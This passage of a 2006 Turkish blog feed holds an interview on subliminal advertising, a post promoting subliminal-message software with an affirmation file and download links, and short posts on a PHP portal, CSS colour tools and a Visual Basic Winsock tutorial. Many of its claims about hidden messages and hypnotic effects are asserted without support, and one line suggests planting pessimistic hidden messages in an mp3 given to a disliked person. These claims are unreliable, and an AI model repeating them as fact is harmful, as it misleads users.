bacağında dik duran bir erkek figürü var. Dikkatli bakıldığında bu erkek figürünün çıplak olduğu görülecektir.&lt;br /&gt;&lt;br /&gt;Peki neden yasaklanmamış?&lt;br /&gt;&lt;br /&gt;Camel bunu 1913 yılında yapmış. Bu ilmin 90 yıl önce Amerika’da çıkmış olduğunu gösteriyor. Bunu, muhtemelen, artık logomuz diyerek kabul ettirmiş olabilirler. Camel’ın yasaklanmış reklamı Camel satışlarını yüzde 5’ten yüzde 32’ye çıkarmıştı. Smooth character adındaki reklam kampanyasıyla Camel 1990’da sigara içmeye başlayan gençler arasında tercih edilme oranını 1.5 yıl içinde yüzde 32’ye çıkardı. Camel bilinçaltı reklamını çok iyi kullanmış bir marka. Deve figürünü artık nerede görürsek görelim beyin bunu Camel’le ilişkilendiriyor.&lt;br /&gt;&lt;br /&gt;Gizli mesaj içeren bir reklam mıydı?&lt;br /&gt;&lt;br /&gt;Evet. Smooth character kampanyasında Camel’ın devesi her biri cinsellik çağrışımı olan pek çok kılığa sokulmuştu.&lt;br /&gt;&lt;br /&gt;Gizli mesajları çıplak gözle okumamız imkansız mı?&lt;br /&gt;&lt;br /&gt;Bazen olabilir. Bu yapılış tekniğine göre değişebiliyor. Bunlar üç boyutlu resim gibidir. Pek çok resmin içinde ‘kill’ ya da ‘sex’ yazar. Bazen dikkatli gözler bunu fark edebilirler. Mesela Time’in Kaddafi’yi kapak yaptığı sayısında gözün fovea hareketlerinin görebileceği şekilde kill (öldür) yazıyordu. Bu çıplak gözle görülemeyecek bir mesajdı.&lt;br /&gt;&lt;br /&gt;Bu ortaya çıktı mı yani?&lt;br /&gt;&lt;br /&gt;Evet çıktı ve bildiğim kadarıyla Time, sadece mahcup oldu! Başka bir örnek daha vereyim. Bunlar reklam değil ama gizli mesaj içeren örnekler. New York Times’ta yayınlanmış savaş helikopterlerinden askerlerin atladığı bir fotoğrafta muhtelif yerlere yerleştirilmiş ‘sex’ yazısı yerleştirilmiş. Resme gömülmüş şekilde bu yazılar.&lt;br /&gt;&lt;br /&gt;Peki savaş helikopterinden atlayan asker görüntülerinde ‘sex’ yazmasının manası nedir? Neden ‘sex’ ya da ‘kill’ yazıyor bu gizli mesajlarda?&lt;br /&gt;&lt;br /&gt;Şöyle. İnsan beyninde bilinçaltının tepki verdiği iki önemli olay var: Doğum ve ölüm. Bunlara arketip deniyor. Beyin, bu iki olaya daha fazla tepki veriyor. Bu iki arketipe giren mesajlara daha duyarlı. Sex mesajı doğum arketipinde, kill mesajı da ölüm arketipinde karşılanıyor. Kuzuların Sessizliği filminin afişinde de aynı şeyi görebiliyoruz. Oradaki kelebek figürünün üzerinde bir kuru kafa vardır. Bu fark ediliyor. Biraz daha dikkatli bakınca o kuru kafanın nü şeklinde resmedilmiş 3 kadından oluştuğunu görürsünüz. Bu afişte ölüm ve doğum arketipleri birlikte kullanılmıştır. Beyin bunu gördüğü anda bu başka herhangi bir filmin afişinden öncelikli olarak yer ediyor.&lt;br /&gt;&lt;br /&gt;Bunlar Amerika’da yasaklanıyor dediniz. Ama sözünü ettiğiniz ürünler Amerikan yapımı.&lt;br /&gt;&lt;br /&gt;Evet. Yasaklanıyor ama orada da fark edilince yasaklanıyor. Her reklam böyle bir filtreden geçmiyor.&lt;br /&gt;&lt;br /&gt;Siz televizyon reklamları izliyor musunuz?&lt;br /&gt;&lt;br /&gt;İzliyorum ama şu anda şu reklamda şu var şu reklamda şu var diyemem. Çünkü bazı ürünlerle ilgili araştırmalarım var bunun bilimsel olarak ispatına ulaştık mı zaten suç duyurusunda bulunacağız. Daha geçenlerde RTÜK’e televizyonda yayınlanacak bir filmde gizli mesaj olduğuna dair bilgi verdim ama RTÜK hiç umursamadı.&lt;br /&gt;&lt;br /&gt;Mesela reklamlarda pornografi kesin olarak yasak deniyor. Bu ilgili yasayla sabit. Sizce izlediğimiz reklamların tamamı bu kurala uygun mu?&lt;br /&gt;&lt;br /&gt;Değil. Kesinlikle değil. Ben şunu kesin olarak söyleyebilirim. Türkiye’de yayınlanan reklamlar Amerika da bile yayınlanmaz. Pornografi yasak ama sözümona. Pornografi nedir tanımlanmış değil. Tamamen çıplak kadın ve erkek figürleri kullanılıyor. Ha keza Pepsi Twist reklamı. Aynı şekilde Fiat’ın reklamı. Üstelik reklam filminde çocuk da kullanmış Fiat.&lt;br /&gt;&lt;br /&gt;Peki ne yapalım. Reklam özdenetim kuruluna yahut tüketici derneklerine şikayet etmek yeterli midir?&lt;br /&gt;&lt;br /&gt;Reklam Özdenetim Kurulu, reklamcılardan oluşan bir kurul. Sonuç alabilir misiniz bilemiyorum. Ama gene de rahatsız edici olduğunu düşündüğümüz reklam ve yayınları şikayet etmeliyiz.&lt;br /&gt;&lt;br /&gt;RTÜK’ün reklamlarla ilgili bir duyarlığı yok galiba.&lt;br /&gt;&lt;br /&gt;Olmaz tabii. Sonuçta reklamlardan pay alıyor. Ve haliyle ses çıkarmıyor. Bununla ilgili mutlaka bir tedbir alınmalıdır ama alınacağını hiç sanmıyorum çünkü ortada dönem rakamlar baş döndürücü.&lt;br /&gt;&lt;br /&gt;Siz de bir reklamcısınız. Reklamlara ilişkin bu kadar titiz bir bakışınız var. Nasıl oluyor?&lt;br /&gt;&lt;br /&gt;Reklamla ilgili bilimsel olarak kanıtlanmış bazı gerçekler var. Bunu biz de ciddiye alıyoruz. Mesela kadınlara yönelik reklamda oval ve elips çizgiler kullanmak, keskin çizgiler kullanmamak. Ya da renkler. Kırmızı renk kadınlar üzerinde daha fazla etki uyandıran bir renktir. Mesela aynı deterjan sarı, mavi ve sarı mavi karışımı 3 ayrı kutuya konuyor. Sarı kutudan yıkayanlar güzel yıkıyor, mavi kutudan yıkayanlar güzel yıkamıyor diyor. Sarı mavi karışımı kutudan yıkayanlar ise mükemmel yıkıyor diyorlar. Yani renkler karar verme mekanizmalarında bu kadar etkili. Mac Donalds’ın sarı kırmızı renkleri bilinç altında en çok yer eden renklerdir. 1980 Moskova olimpiyatlarında, Ruslar kendi oyuncularının odalarını kırmızı, rakip takımın oyuncularının odalarını ise mavi renkle ışıklandırdılar.&lt;br /&gt;&lt;br /&gt;Neden?&lt;br /&gt;&lt;br /&gt;Çünkü mavi, rehavete sevkeder, kırmızı ise canlandırır harekete sevkeder. Aynı şekilde İngiltere milli takımı, 2 yıl önceydi sanırım, Türkiye’ye geldiğinde biz beyaz forma giyeceğiz siz de kırmızı forma giyin dediler. Bu o zaman da söz konusu edildi. Amaç şu: Beyaz saflığı temizliği temsil eder, kırmızı ise ateşleyici, harekete geçirici bir renktir. Onlar kırmızı formalı Türk takımı karşısında performanslarını artırdılar. Bunlar insan doğasıyla ilgili veriler.&lt;br /&gt;&lt;br /&gt;Peki reklamlar söz konusu olduğunda bu tür bilgileri kullanmanın ölçüsü nedir?&lt;br /&gt;&lt;br /&gt;Ahlaki ölçü insanı sömürmemektir. Mesela portakal pek çok kültürde kadını temsil eder. Portakalın soyulması da kadının soyunmasını temsil eder. Pepsi Twist’in reklamında da soyulan bir limon soyunan bir kadın birlikte kullanılmıştır.&lt;br /&gt;&lt;br /&gt;Bilinçaltı reklamları hangi ülkelerde yasak?&lt;br /&gt;&lt;br /&gt;Rusya’da bu tür reklamlar çok yaygın fakat bununla mücadele eden 25. Kare diye bir oluşum var. Bunlar bilinçaltı reklamlarını tespit ediyor ve yasaklanması için mücadele ediyorlar. Amerika’da kesin olarak yasak. Bildiğim kadarıyla İngiltere’de de yasak. Bilinçaltı reklamları insanları bir nevi hipnoz ediyor. Türkiye’de bugüne kadar tartışılmıyordu bile. Meclis’te de gündeme geldiğine göre belki bundan sonra en azından tartışmaya başlarız.&lt;br /&gt;&lt;br /&gt;Siz bu çalışmanızı bu yönde değerlendirmediniz mi?&lt;br /&gt;&lt;br /&gt;Ben bu konuda seminerler veriyorum. Bir dergi benim tezimle ilgilendi, hatta kapak yaptı ama tam tersi bir yargıya varmak için kullandı ve bilinçaltı reklamlarının satın alma davranışında bir etkisi olmadığını, etkili bir reklam olmadığını söyledi.&lt;br /&gt;&lt;br /&gt;Bilinçaltı reklamı yasaklanmalı ama bir reklam insan psikolojisini hesaba katarak hazırlanmalı diyorsunuz&lt;br /&gt;&lt;br /&gt;Evet. Aksi taktirde, ne kadar konuşulursa konuşulsun başarısız bir reklam yapmış olursunuz. Hatırlarsanız ‘aganigi’li fındık reklamları vardı bir ara. Herkes de bu reklamı konuşmuştu. Ama fındık satışları artmamış bilakis azalmıştı.&lt;br /&gt;&lt;br /&gt;Neden peki?&lt;br /&gt;&lt;br /&gt;Çünkü bu reklamda sex iması kullanıldı. Fındığı kim alır eve? Hanımlar alır. Kim satar? Erkekler satar. Hanımlar fındık almaktan utanır oldular. Bu yüzden de fındık satışlarında azalma görüldü. 1975 yılında Mallbora’nın satışları düşünce yeni bir reklam kampanyası tasarlandı ve sigara içicilerinin kolay kolay içtiği sigarayı değiştirmeyeceği düşünülerek yeni sigara içicilerine ulaşmayı hedef alan bir reklam tasarladılar. 12-13-14 yaşındaki gençler üzerine bir araştırma yapıyorlar. Bu çocuklar,o yaşlarda, kimseye minnet duymama, evden uzaklaşma, hesap vermeme gibi bir psikoloji içinde oluyorlar. Bunları en iyi ifade eden ikonu bulmalıyız diyorlar ve bunun en iyi ifade den ikonun güneşin batımına doğru giden bir kovboy olduğunu tespit ediyorlar. Bu sizde neyi çağrıştırdı?&lt;br /&gt;&lt;br /&gt;Red Kid’in son sahnesini.&lt;br /&gt;&lt;br /&gt;Evet. Tam da bu işte. Red Kid, tam teşekkür alacağı sırada ortadan kaybolur. Bir de bakarsınız ki güneşin batışına doğru gitmektedir. Kimseye minneti yoktur yani. Bu reklam Mallboro’nın satışlarını ciddi oranda artırdı. Daha sonra sigara karşıtları Red Kid’in ağzındaki sigarayı kaldırttılar."&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Görüldüğü gibi magazin hariç hiç bilimsel bir haber bulamadım türk sitelerinde bu konuda!!!&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Gözümüzün algılayamadığı görüntüleri, sesleri bilinçaltımız algılar. Bu program bizim hazırlayacağımız mesajları yukarıdaki alıntılarda anlatıldığı gibi bizim bilinç altımıza sürekli işliyor.&lt;br /&gt;&lt;br /&gt;Pc açılınca program çalışmaya başlıyor. Biz ne yaparsak yapalım; ister oyun oynayalım ister film izleyelim isternette gezelim ekranda sürekli olarak bu mesajlar anlık olarak belirip kayboluyor fakat bu çok hızlı bir şekilde oldğndan biz ekrana mesaj geldiğini anlamıyoruz bile. fakat bilinç altı anlıyor.&lt;br /&gt;&lt;br /&gt;Nette yaptığım incelemede türkçe stelerde bu konuda hiç bir bilgi yok. Fakat yabancılar bu konuda bayaa bi ilerlemiş. Bu subliminal mesajları MP3 ler arasına gömen programlar filan var. Siz bir mp3 seçip içine mesajlarınızı yerleştiri dinliyorsunuz mesajlar aynen bilinçaltına. Ya da kötümser mesajları mp3 yerleştirip sevmediğiniz birine mp3 hediye ediyorsunuz&lt;br /&gt;&lt;br /&gt;Bundan başka şüphelendiğiniz mp3 leri inceleyip varsa içindeki subliminal mesajları ortaya çıkaran bir program bile var.&lt;br /&gt;&lt;br /&gt;Daha da ötesi uyku sırasında ders çalışmak küçkken bizler için hayaldi bunun bile programı var. PC yi aç, programı çalıştır, git yat. Tüm mesajlar uyurken bilinçaltına.&lt;br /&gt;&lt;br /&gt;Şimdi anlatacağım program sadece pc aracılığıyla subliminal mesajlar veriyor. Program ing. olduğundan dolayı mesajlarda ing. Bu haliyle bir anlamı yok gibi. fakat programı kurduktan sonra mesajları türkçeleştirirsek sorun kalmıyor. Ben mesajların bir kısmın türkçeleştirdim. ve programı kullanıyorum. Mesajları ara ara türkçeleştirip buraya ekleyeceğim. İster buradan alıp kullanın ister kendiniz türkçeye çevirin. Hatta isterseniz kendi mesajlarınızı kendiniz hazırlayın. Fakat bunu tavsiye etmem . Sitelerde yanlış hazırlanan mesajların insanları kötü etkilediğinden filan bahsediliyor. Nette subliminal messages diye arattırırsanız uzmanlarca hazırlanmış bol miktarda sublimina messj var. Üstelik kategorik halde: İş yaşamında başarı, bireysel mutluluk vb. gibi.&lt;br /&gt;Mesajları türkçeleştirmek için programın kurulum klasöründeki DATA klaörüne girin. Buradaki txt uzantılı dosyaları açıp mesajları türkçeleştirin (ing olanları silin yerine türkçelerini yazıp kaydedin.)&lt;br /&gt;Subliminal vision pro bu programların en iyisi değil. Ama idare eder. Kullanımı oldukça basit. Yukarlarda anlattığım mp3 subliminal programlarını ise en yakın zamanda hazırlıyorum. tabii onlar daha güzel programlar.&lt;br /&gt;&lt;br /&gt;Şimdi mesajları nasıl türkçeleştiriyoruz:&lt;br /&gt;&lt;br /&gt;data klasöründeki millionaie mind txt dosyasının aslı şöyle&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;I am willing to succeed;1&lt;br /&gt;I accept affluence;1&lt;br /&gt;I deserve prosperity;1&lt;br /&gt;I attract opportunity;1&lt;br /&gt;I am wealthy;1&lt;br /&gt;Riches flow into my life;1&lt;br /&gt;I have a knack for creating value and wealth;1&lt;br /&gt;My life is full of joy;1&lt;br /&gt;Making money is fun;1&lt;br /&gt;I deserve the good life;1&lt;br /&gt;I expect success;1&lt;br /&gt;I learn from others;1&lt;br /&gt;I am confident in my abilities and skills;1&lt;br /&gt;Dreams can come true;1&lt;br /&gt;I turn ideas into action;1&lt;br /&gt;I create wealth easily and effortlessly;1&lt;br /&gt;I take responsibity for my life and my actions;1&lt;br /&gt;I make great things happen;1&lt;br /&gt;I love to help people;1&lt;br /&gt;I give generously and receive graciously;1&lt;br /&gt;I come up with new ideas for making money;1&lt;br /&gt;People love to help me;1&lt;br /&gt;Money is good;1&lt;br /&gt;I recognize opportunites all around me;1&lt;br /&gt;Money is freedom;1&lt;br /&gt;I deserve to be free;1&lt;br /&gt;It’s fun to create;1&lt;br /&gt;I share my ideas with people who can help me;1&lt;br /&gt;I am creative;1&lt;br /&gt;I deserve success;1&lt;br /&gt;I am valuable;1&lt;br /&gt;I am important;1&lt;br /&gt;I care for others;1&lt;br /&gt;I do the right thing;1&lt;br /&gt;I am rewarded for my efforts;1&lt;br /&gt;I attract money like a magnet;1&lt;br /&gt;I have the courage it takes to succeed;1&lt;br /&gt;I live a life of abundance;1&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Ben bu mesajları dikkatlice türkçeye çevirirsem dosya şöyle oluyor&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;Güçlüyüm ve güvendeyim;1&lt;br /&gt;İç kaynaklara sahibim;1&lt;br /&gt;Amaçlarımı gerçekleştirebilecek güce sahibim;1&lt;br /&gt;Hayatımı denetleyebilirim;1&lt;br /&gt;Değerliyim;1&lt;br /&gt;Kendime güvenim tamdır;1&lt;br /&gt;İnsanlar bana saygı duyar;1&lt;br /&gt;İnsanlar beni sever;1&lt;br /&gt;Ben gerçek bir arkadaşım;1&lt;br /&gt;İnsanları önemserim;1&lt;br /&gt;Yeteneklerimden, ustalığımdam ve deneyimlerinden eminim;1&lt;br /&gt;Diğerleriyle ilgilenirim;1&lt;br /&gt;Eminim;1&lt;br /&gt;Güçlü bir kişiyim;1&lt;br /&gt;Tüm engelleri kendime olan güvenimle aşabilirim;1&lt;br /&gt;Ben bir başarıyım;1&lt;br /&gt;Mutlu olmayı seçerim;1&lt;br /&gt;Kendime ve geleceğime inancım var;1&lt;br /&gt;Cesurum;1&lt;br /&gt;Ben bir kahramanım;1&lt;br /&gt;İnsanlar beni takdir eder;1&lt;br /&gt;Kendime olan güvenim kim olduumdur, ne yaptığım değil;1&lt;br /&gt;Başarıyı hakediyorum;1&lt;br /&gt;Ben sakinim;1Her yerde ve her zaman kendime olan güvenimi korurum;1&lt;br /&gt;Kendimi affederim;1&lt;br /&gt;Kendimle barışığım;1&lt;br /&gt;Kendime olan güvenimi zedeleyen etkenleri yokedebilirim;1&lt;br /&gt;Zekiyim;1&lt;br /&gt;Kendimi ya da bir başkasını geçmişteki tüm hatalardan dolayı affederim;1&lt;br /&gt;Kendimde güvendeyim;1&lt;br /&gt;Kendimden eminim;1&lt;br /&gt;I discover new aspects of my self-confidence daily;1&lt;br /&gt;I take action;1&lt;br /&gt;I balance my self-confidence with modesty perfectly;1&lt;br /&gt;I recognize and honor my talents, abilities, and skills;1&lt;br /&gt;I control my destiny;1&lt;br /&gt;I see each part of my life as a lesson;1&lt;br /&gt;I believe in myself completely;1&lt;br /&gt;I feel confident from the inside out;1&lt;br /&gt;I move forward, feeling self-confident every step of the way;1&lt;br /&gt;&lt;br /&gt;Tabii bu henüz tamamlanmayan bir örnek sadece. Şimdi programa bakalım:::&lt;br /&gt;&lt;br /&gt;Programı kurup çalıştırınca alt çubukta solda simgesi görünecek. Bu simgeye&lt;br /&gt;sağ tıklayıp show deyin.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;img src="http://img264.imageshack.us/img264/4404/19us.jpg" height="461" /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;img src="http://img264.imageshack.us/img264/9879/23gj.jpg" height="498" /&gt;&lt;/p&gt; &lt;p&gt;&lt;img src="http://img264.imageshack.us/img264/8275/36sz.jpg" height="509" /&gt;&lt;/p&gt; &lt;p&gt;&lt;img src="http://img264.imageshack.us/img264/5055/44sk.jpg" height="502" /&gt;&lt;/p&gt; &lt;p&gt;&lt;img src="http://img264.imageshack.us/img264/5929/50uf.jpg" height="509" /&gt;&lt;/p&gt; &lt;p&gt;&lt;img src="http://img264.imageshack.us/img264/8743/62hw.jpg" height="510" /&gt;&lt;/p&gt; &lt;p&gt;&lt;img src="http://img264.imageshack.us/img264/2181/79em.jpg" height="511" /&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman, Times, serif;font-size:130%;"&gt;&lt;strong&gt;&lt;u&gt;Download :&lt;/u&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;a target="_blank" href="http://www.top-shareware.net/Subliminal_Vision_Pro.html"&gt;  http://www.top-shareware.net/Subliminal_Vision_Pro.html&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman, Times, serif;font-size:130%;"&gt;&lt;strong&gt;&lt;u&gt;Neuro-Programmer 2&lt;/u&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman, Times, serif;font-size:130%;"&gt;&lt;u&gt;&lt;strong&gt;Alternatif Link :&lt;/strong&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;a target="_blank" href="http://www.hemenpaylas.com/download/436572/subliminal.rar.html"&gt;  http://www.hemenpaylas.com/download/436572/subliminal.rar.html&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970672281972379?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970672281972379/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970672281972379' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970672281972379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970672281972379'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/bilinaltna-gizli-mesaj.html' title='Bilinçaltına Gizli Mesaj'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970640773536698</id><published>2006-10-01T04:37:00.000-08:00</published><updated>2006-10-01T04:40:07.856-08:00</updated><title type='text'>GNUTURK Portal Sistem 3G</title><content type='html'>&lt;div class="imajsol"&gt;&lt;img src="http://www.bildirgec.org/imaj/uyusuk/a7.jpg" alt="\" border="0" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Gnuturl portal sistem Php ve mysql tabanlı ve bir çok fonksiyonu olan bir portal sistem. Sistem yazılımcıları tamamen Türk ve bununla gurur duyuyorlar.Sistemi indirmek için &lt;a target="_blank" href="http://www.gnuturk.com/mods.php?go=Downloads&amp;p=wsc&amp;amp;scid=8"&gt;buraya&lt;/a&gt;,sistem özellikleri için &lt;a target="_blank" href="http://www.gnuturk.com/mods.php?go=Projects&amp;pid=10"&gt;buraya&lt;/a&gt;, resimli kurulumuna bakmak için &lt;a target="_blank" href="http://www.gnuturk.com/mods.php?go=Articles&amp;amp;p=wa&amp;aid=16"&gt;buraya &lt;/a&gt;ve Gnuturkun diğer projeleri içinde &lt;a target="_blank" href="http://www.gnuturk.com/"&gt;buraya &lt;/a&gt;tıklamanız gerek:)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970640773536698?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970640773536698/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970640773536698' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970640773536698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970640773536698'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/gnuturk-portal-sistem-3g.html' title='GNUTURK Portal Sistem 3G'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115966206943072476</id><published>2006-09-30T16:13:00.000-08:00</published><updated>2006-09-30T16:21:09.483-08:00</updated><title type='text'>css renk paletleri</title><content type='html'>Bir tasarımcının elinin altında bulunması gereken css renk paletleri :  &lt;ul&gt;&lt;li&gt;&lt;a target="_blank" href="http://gmazzocato.altervista.org/colorwheel/wheel.php"&gt;Accessibility Color Wheel&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.defencemechanism.com/color/"&gt;Defence Mechanism &gt; Color Toy&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.forret.com/tools/color.asp"&gt;Color converter (RGB/CMYK/HSV)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://slayeroffice.com/tools/color_palette/"&gt;Color Palette Creator v1.6&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.degraeve.com/color-palette/index.php"&gt;Color Palette Generator [1]&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://jrm.cc/color-palette-generator"&gt;Color Palette Generator [2]&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.raquedan.com/random100.php"&gt;100 Random Colors - Need a Color?  &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.ficml.org/jemimap/style/color/wheel.html"&gt;4096 Color Wheel&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.smartpixel.net/chromoweb/uks/indexgb.html"&gt;Chromatic Wheel&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://colorblender.com/"&gt;Color Blender&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://pourpre.com/colordb/?l=eng"&gt;colordb - the color database&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.visibone.com/colorlab/"&gt;ColorLab&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.colormix.com/"&gt;Colormix&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.colormixers.com/mixers/"&gt;Color Mixers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://wellstyled.com/tools/colorscheme/index-en.html"&gt;Color Scheme 1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://wellstyled.com/tools/colorscheme2/index-en.html"&gt;Color Scheme 2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.colorschemer.com/online.html"&gt;Color Schemer Online v.2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.december.com/html/spec/colorshades.html"&gt;Color Shades: Colors and Lighter Hexadecimal Codes and Swatches&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.telecable.es/personales/alberto9/color/index.htm"&gt;Color synthAxis&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://color.sharewonders.com/"&gt;Color Tool 2.0.1 Alpha&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.colorwhore.com/"&gt;ColorWhore&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.adaptiveview.com/cw/index.html"&gt;ColorWrite 1.1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.juicystudio.com/services/colourcontrast.asp"&gt;Colour Contrast Analyser&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.limov.com/colour/"&gt;Colour exploration tools&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://colourmod.com/"&gt;ColourMod :: DHTML Color Picker/Selector&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.siteprocentral.com/html_color_code.html"&gt;Colour Scheme Chooser&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.easyrgb.com/"&gt;Easy RGB&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.metasphere.net/web_tools/7.html" title="_blank"&gt;Eye Dropper Color Mixer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.dhtmlgoodies.com/scripts/color-schemer/color-schemer.html"&gt;Find matching colors for your web page&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://infohound.net/colour/"&gt;Infohound Color Schemer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.kolur.com/"&gt;Kolur.com Color Inspiration&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.febooti.com/products/iezoom/online-help/online-color-chart-picker.html"&gt;Online color chart picker&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.smileycat.com/miaow/archives/000267.html"&gt;Online image editors&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.redalt.com/Tools/ilyc.php"&gt;RedAlt v1.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://dev.sessions.edu/ilu/ilu_1.html"&gt;Sessions.edu Color Calculator&lt;/a&gt;&lt;br /&gt;kaynak : &lt;a target="_blank" href="http://www.alvit.de/blog/"&gt;Vitaly Friedman's Notebook&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115966206943072476?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115966206943072476/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115966206943072476' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115966206943072476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115966206943072476'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/09/css-renk-paletleri.html' title='css renk paletleri'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115965847222734861</id><published>2006-09-30T15:20:00.000-08:00</published><updated>2006-09-30T15:24:11.690-08:00</updated><title type='text'>VBasic ve Winsock Nesnesi (ag)</title><content type='html'>Bir Ağda Birden Fazla Kişiyle İletişim Kurma Yöntemi&lt;br /&gt;&lt;br /&gt;Öncelikle konuya winsock ile nasıl bağlantı kurulduğunu bildiğinizi varsayarak devam ediyorum.&lt;br /&gt;&lt;br /&gt;Şimdi makalemizde 2 adet winsock kullanımından bahsedeceğim fakat bu winsock un 1’i indexli(daha sonradan yeni bir winsock oluşturmak için) diğeri ise normal bi winsock olacak.&lt;br /&gt;&lt;br /&gt;Şimdi öncelikle 1. 